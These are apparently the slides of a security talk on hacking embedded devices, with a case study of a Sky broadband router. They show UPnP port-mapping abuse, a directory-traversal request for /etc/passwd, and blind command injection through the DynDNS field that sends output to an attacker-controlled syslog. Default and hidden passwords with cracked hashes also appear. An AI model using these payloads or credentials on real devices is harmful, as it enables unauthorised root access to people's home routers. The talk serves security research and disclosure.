HACKING EMBEDDED DEVICES
for Fun & Profit
WHAT THIS TALK INTENDS TO COVER!

- What & Where are Embedded Devices?
- Why history lessons should be learnt!
- Caveats & Defects in Embedded Platforms
- Methodologies for Assessing Embedded Devices
- A Case Study: Looking at a Consumer Device
What & Where are embedded devices?

- Everything & Everywhere!
WHY SHOULD I CARE?

- Embedded Devices are often “Black Box”
  - Minimal or no documentation & source code
  - Security through obscurity
- Provided as “Secure” Solutions
  - Vendors have a long history of telling the truth!
- Provided along with Security Software by ISP’s
  - Anti-Virus
  - Firewall Software
- History of Security Flaws
  - DD-WRT Remote Root
  - O2 Wireless Box CSRF
  - BeThere BeBox backdoor
  - BTHomeHub CSRF & More
- Consumer Devices becoming popular targets
  - Psyb0t worm.
History repeats itself…

- Typically run with no privilege separation
  - Everything runs as highest user privilege
  - SYSTEM / root (uid=0) on all processes
  - A single defect could potentially compromise the platform

- Embedded Developers are not Security Conscious
  - Commonly write insecure routines
  - XSRF / XSS
  - Design & Logic bugs (e.g. Directory Traversal)
  - Buffer Overflow Defects

- Small number of commonly re-used Libraries
  - Devices re-use open-source libraries across platforms
  - SNMP
  - UPnP
  - BusyBox
  - TinyHttpd, Micro_Httpd … etc
CASE STUDY: SKY BROADBAND

- Legalities & Assessment
  - Who owns what?
  - Obtaining Permission
  - Open Source & GPL Code Violations

- Security Assessment
  - Port Scanning & Analysis
  - Known UPnP flaws.

- Examining an information leak
  - Auditing the Source Code
  - Building Test Cases
  - Exploiting the bug

- Identifying & Exploiting 0day
  - Finding a potential flaw
  - Defeating the limitations
  - Creating a reliable remote root exploit
LEGALITIES & ASSESSMENT

- Consumer broadband devices are typically “leased”
  - Your ISP owns the equipment.
  - You should obtain written permission to assess
  - Try Customer Services, Security Contacts & Chocolates.
  - Violation of Terms & Conditions
  - This is often used to “silence” researchers

- Open-Source & GPL
  - Vendors frequently violate the GPL.
  - Vendors release partial GPL source code without modifications.
<table>
<thead>
<tr>
<th>Port</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>21/TCP</td>
<td>FTP - Disabled.</td>
</tr>
<tr>
<td>23/TCP</td>
<td>Telnet - Disabled</td>
</tr>
<tr>
<td>53/TCP</td>
<td>dnsmasq-2.23</td>
</tr>
<tr>
<td>80/TCP</td>
<td>micro_httpd</td>
</tr>
<tr>
<td>1863/TCP</td>
<td>Unknown</td>
</tr>
<tr>
<td>1864/TCP</td>
<td>Unknown</td>
</tr>
<tr>
<td>4443/TCP</td>
<td>Unknown</td>
</tr>
<tr>
<td>5190/TCP</td>
<td>SIP? Unknown</td>
</tr>
<tr>
<td>5431/TCP</td>
<td>UPnP</td>
</tr>
<tr>
<td>5566/TCP</td>
<td>Unknown</td>
</tr>
<tr>
<td>30005/TCP</td>
<td>Unknown</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Port</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1863/TCP</td>
<td>Unknown</td>
</tr>
<tr>
<td>1864/TCP</td>
<td>Unknown</td>
</tr>
<tr>
<td>4443/TCP</td>
<td>Unknown</td>
</tr>
<tr>
<td>5190/TCP</td>
<td>SIP? Unknown</td>
</tr>
<tr>
<td>5566/TCP</td>
<td>Unknown</td>
</tr>
<tr>
<td>30005/TCP</td>
<td>Unknown</td>
</tr>
</tbody>
</table>

Firmware Version 1.9 Sky
Linux 2.4.x / Linux 2.6.x
SAGEM F@ST2504

www default “admin” username
password of “sky” provided.
UPNP – Known Vulnerabilities

- Universal Plug and Play
  - Can be used to automatically configure “stuff”
  - Known to allow forwarding internal ports externally.
  - Used for configuring port forwarding “on-the-fly”
- Miranda is a free UPnP shell tool for auditing.
- GNUCitizen Flash UPnP weakness.
  - Demonstrates that we can send UPnP through Flash
  - We can forward internal ports to the Internet
    - We must know where the port is
    - We must know the IP address we want to forward
- `myrouter.home` and `192.168.0.1` are Sky defaults.
UPNP ATTACKS – MIRANDA EXAMPLE

```
upnp> host info 0 devicelist WANConnectionDevice services WANPPPConnection actions
AddPortMapping : {}
GetINATRSTPStatus : {}
GetGenericPortMappingEntry : {}
GetSpecificPortMappingEntry : {}
ForceTermination : {}
GetExternalIPAddress : {}
GetConnectionTypeInfo : {}
GetStatusInfo : {}
SetConnectionType : {}
DeletePortMapping : {}
RequestConnection : {}
upnp> host send 0 WANConnectionDevice WANPPPConnection GetExternalIPAddress
NewExternalIPAddress : 90.201.120.232
upnp>
```
UPNP ATTACKS – PORT MAPPING

![UPnP Portmap Table]

- Protocol: TCP
- Int. Port: 80
- Ext. Port: 8080
- IP Address: 192.168.0.1
Reviewing Directory Traversal Protection in micro_httpd.c

74: if ( sscanf( line, "%^[^ ]%^[^ ]%^", method, path, protocol ) != 3) ...

83: if ( path[0] != '/' ) ...

85: file = &path[1]; ...

90: if ( file[0] == '/' || strncmp( file, "..", 3 ) == 0 || strstr( file, "/../" ) != (char*) 0 || strcmp( &file[len-3], "../" ) == 0 ) ...

GET ../ HTTP/1.1
- Variants are successfully detected.
- Attempts to request files outside of PATH fail.
- Seems to protect micro_httpd under normal operation.
Testing the protection! Test cases!

- Copy the routine into a stand-alone C program so that potential strings and bypasses can be tested quickly.
BREAKING THE DEVICES ICE WITH STAT()

- micro_httpd extended by Sky / Sagem for CGI
- Modified source code breaks the “secure” check.
- File arguments to CGI scripts could traverse ONE directory.
  - Single ../ not matched if a CGI argument
  - One directory is enough to reach root file system /

- Using sky_temp.html is a code path to stat() files
  - /sky_temp.html?status=501&title=&text=&this_file=../etc/passwd
  - If a file or directory exists "No element returned.” in response.
  - We can now enumerate all the files & directories on the device.
A stat() INFORMATION LEAK IS BORN!

- Enumerating contents of “/bin” using python and shell scripts.

```
/bin/brctl: file found.
/bin/busybox: file found.
/bin/cat: file found.
/bin/chmod: file found.
/bin/cp: file found.
/bin/date: file found.
/bin/df: file found.
/bin/dmesg: file found.
/bin/echo: file found.
/bin/false: file found.
/bin/kill: file found.
/bin/ln: file found.
/bin/ls: file found.
/bin/mkdir: file found.
/bin/mount: file found.
/bin/msh: file found.
/bin/ping: file found.
/bin/pwd: file found.
/bin/rm: file found.
```
IDENTIFYING A COMMAND EXECUTION BUG

- Using standard Web Application assessment tools I tested each CGI input and FORM request for potential Command Injection bugs.
  - We use common shell escape characters `; ` | &
  - The stat() information leak shows /bin/ping exists.
  - We try `|/bin/ping 192.168.0.3` and similar.

- Non-blind command injection
  - We can see the output of commands on the web page.

- Blind command injection.
  - We can put a packet sniffer on the network

- A Vulnerability is found in DynDNS screen!
  - User input passed to shell from CGI arguments.
IDENTIFYING SUCCESSFUL EXPLOITATION
EMBEDDED DEVICE EXPLOIT CAVEATS

- Command Injection is completely blind.
- Command Injection has a character limit of 40 chars.
- Telnet connect back shell?
  - No telnet or netcat command!
- Tunnel the command output via DNS?
  - Works over UDP
  - Could be used to handle some string data
  - Might be difficult to implement
- Tunnel the command output via SYSLOG?
  - Works over UDP
  - Can handle string output
  - Probably already implemented for us!
- Tips & Tricks
  - $IFS can be used as a whitespace
  - 2>&1 can be used to redirect stderr to stdout.
  - Try to URL encode problem chars! i.e. 2>%261
BUILDING THE EXPLOIT SHELL

- Configure the attackers IP as remote syslogd
  - This can be done through the Web interface
- Listen on UDP port 514 for syslog messages.
- Using command injection pass output to syslog
  - `ddnsHostname=|logger -p 0 "\"ls /bin\""
  - String will send output of ‘ls /bin’ to remote syslog
- Pseudo-interactive shell allows for better attacks.
  - Once we have a shell we maybe able to view files
  - Upload/Download binaries
  - Explore the device configuration & settings
RUN SCOOBY! A ROOT SHELL IS BORN!
Users & Passwords

- Hidden users in passwd file not in manual.
  - Root user has been renamed to “admin”
  - Possible to use “user/user” to authenticate to web
  - Could not change password of user – auth bypass.
  - What are the other users for?

```
fantastics-macbook:skybb: fantastic$ cat passwd
admin:jMJQiBMucPlzI:0:0:Administrator::/bin/sh
support:pukrjBtaAZXxY:0:0:Technical Support::/bin/sh
user:z8tekJm0uoby2:0:0:Normal User::/bin/sh
nobody:qFOZsxw0FywAw:0:0:nobody for ftp::/bin/sh

Loaded 4 password hashes with 4 different salts (Traditional DES [64/64 BS MMX])
user (user)
support (support)
sky (nobody)
sky (admin)
guesses: 4  time: 0:00:00:01 (3)  c/s: 334592  trying: rtl - btv
```

Network sniffer comes built-in!
FILE transfer? – Use TFTP!
WHAT ABOUT FROM THE INTERNET?

- Sky user clicks on a link, XSS or IFRAME attack.
  - Flash UPnP exposes the Sky web service to WAN.
  - Could use IFRAME with creds to send? (prompts!!)
    - GET request works just as well as a POST request
    - Possible avenue of attack, couldn’t get working.
  - Default “user/user” authenticates to web device from Internet. No password change? Auth bypass!
  - Attacker sets internet IP as syslog daemon.
  - Attacker starts pseduo interactive shell on device and has “admin” (root) rights thanks to httpd.
  - Attacker can now run a network sniffer, transfer files to and from the network and more.
Impact & risk? Consumers post-’07.
QUESTIONS?

Hacker Fantastic

Blog/Twitter/Code & Stuff

http://www.hackerfantastic.com

Thank you!